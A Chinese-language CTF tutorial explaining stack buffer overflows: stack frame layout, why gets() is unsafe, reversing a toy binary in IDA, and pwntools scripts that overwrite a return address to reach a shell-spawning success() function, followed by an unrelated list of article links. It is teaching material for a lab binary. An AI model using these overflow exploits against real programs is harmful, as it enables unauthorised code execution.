盘它!PWN栈溢出漏洞。
在国内的CTF比赛中,PWN题最常见考点就是缓冲区溢出漏洞,而缓冲区溢出代表就是栈溢出漏洞。
0x01 基础知识
栈是一种先进后出的数据结构,从高地址向低地址增长的内存结构。
函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等,是系统栈的一部分。
在一次函数调用中,函数调用栈中将被依次压入:函数实参、返回地址、EBP。如果函数有局部变量,接下来就在栈中开辟相应的空间以构造变量。
函数调用栈结构
ESP 称为栈顶指针,用来指示当前栈帧的顶部。 EBP 称为栈基址指针,用来指示当前栈帧的底部。
0x02漏洞原理
栈溢出漏洞是由于使用了不安全的函数,如C中的 read(fd, buf, nbytes)、gets(s)等,通过构造特定的数据使得栈溢出,从而导致程序的执行流程被控制。 当程序代码如下时:
int main(int argc, char **argv) {
char s[12];
gets(s);
return 0;
}
栈空间如下:
当构造变量char s[12]时,系统就在栈中给s开辟栈空间,可gets(s)函数未限制输入字符长度,可以构造大量的数据来超出变量的空间从而造成溢出,覆盖到s以上的栈空间。
0x03 解题步骤
例举一道栈溢出的PWN题,根据解题步骤来解答。
1. 逆向工程:
将PWN题拖入IDA,点击程序入口函数。按F5逆向main函数,查看对应的C伪代码。 main函数调用vulnerable()函数。
点击进入vulnerable()函数并F5逆向。
vulnerable()函数中调用了gets()和puts()函数,而程序的逻辑就运行main函数和vulnerable函数。
vulnerable函数功能:输入字符串,输出字符串 程序中主要函数有 内置行数:gets、puts、system 自定义函数:main、test、success
2. 分析代码:
进行逆向工程拿到C伪代码,代码大致如下:
#include <stdio.h>
#include <string.h>
void success() {
puts("You Hava already controlled it.");
system("/bin/sh");
}
void test() {
puts("Connection Successful.");
}
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
gets() 是一个危险函数,因为它不检查输入字符串的长度,而是以回车来判断是否输入结束,所以很容易导致栈溢出。
3. 漏洞利用:
查看程序的保护机制:
程序在无任何保护的情况下进行解题:
输入s的值溢出到返回地址,将返回地址替换成text函数的起始地址。
查看text函数的起始地址。
EBP与EBP的距离14H,而栈中的EBP占栈内存4H,所以要覆盖到放回地址需要18H。
编写脚本如下:
from pwn import *
sh = process('./Ezreal1')
success_addr = 0x080491DE
payload = 'a' * 0x18 + p32(success_addr)
print p32(success_addr)
sh.sendline(payload)
sh.interactive()
利用脚本后的栈结构如下:
所以当函数调用完毕后,执行返回地址时将执行text函数。 运行脚本,成功运行text函数:
4. getshell:
分析代码发现程序中有getshell函数,这时就不需要构造shellcode,直接溢出返回地址,让程序执行此函数。
查看success函数地址:
脚本如下:
##!/usr/bin/env python
from pwn import *
sh = process('./Ezreal1')
success_addr = 0x080491A2
payload = 'a' * 0x18 + p32(success_addr)
print p32(success_addr)
sh.sendline(payload)
sh.interactive()
运行脚本,成功拿到shell:
0x04 小小总结
本期的介绍就到这里啦!祝各位周末愉快!下期将带来在程序开启不同栈保护机制要如何利用漏洞。
- 2818: Gcd
- 1688: [Usaco2005 Open]Disease Manangement 疾病管理
- 通过MySQL自动同步刷新Redis
- 13.MySQL(一) 数据库简介mysql安装数据库操作Mysql数据类型存储引擎
- 3314: [Usaco2013 Nov]Crowded Cows
- BZOJ4766: 文艺计算姬
- 14.MySQL(二) 数据之表操作表内容操作Mysql 连接事务外键
- 3450: Tyvj1952 Easy
- SP104 HIGH - Highways
- 1664: [Usaco2006 Open]County Fair Events 参加节日庆祝
- 15.MySQL(三) 索引类型
- 1054: [HAOI2008]移动玩具
- MatrixTree速成
- 1元搭建自己的云服务器&解析域名
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 有赞 GO 项目单测、集成、增量覆盖率统计与分析
- RSA--通过模和指数加密模板--无填充
- 有赞发号器多机房方案
- python爬虫以及后端开发--实用加密模板整理
- APP脱壳方法三
- Flink Checkpoint 原理流程以及常见失败原因分析
- Docker原理之 - OverlayFS设计与实现
- 有赞零售跨平台打印库方案
- [Go] Golang练习项目-GO语言实现快速排序-第一个数作为基准更容易理解
- 有赞移动基础设施建设的实践和思考
- 大数据理论篇HDFS的基石——Google File System
- 6. 二十不惑,ObjectMapper使用也不再迷惑
- 接口自动化对比工具实践
- 什么?Java9这些史诗级更新你都不知道?Java9特性一文打尽!
- 利用 Arthas 精准定位 Java 应用 CPU 负载过高问题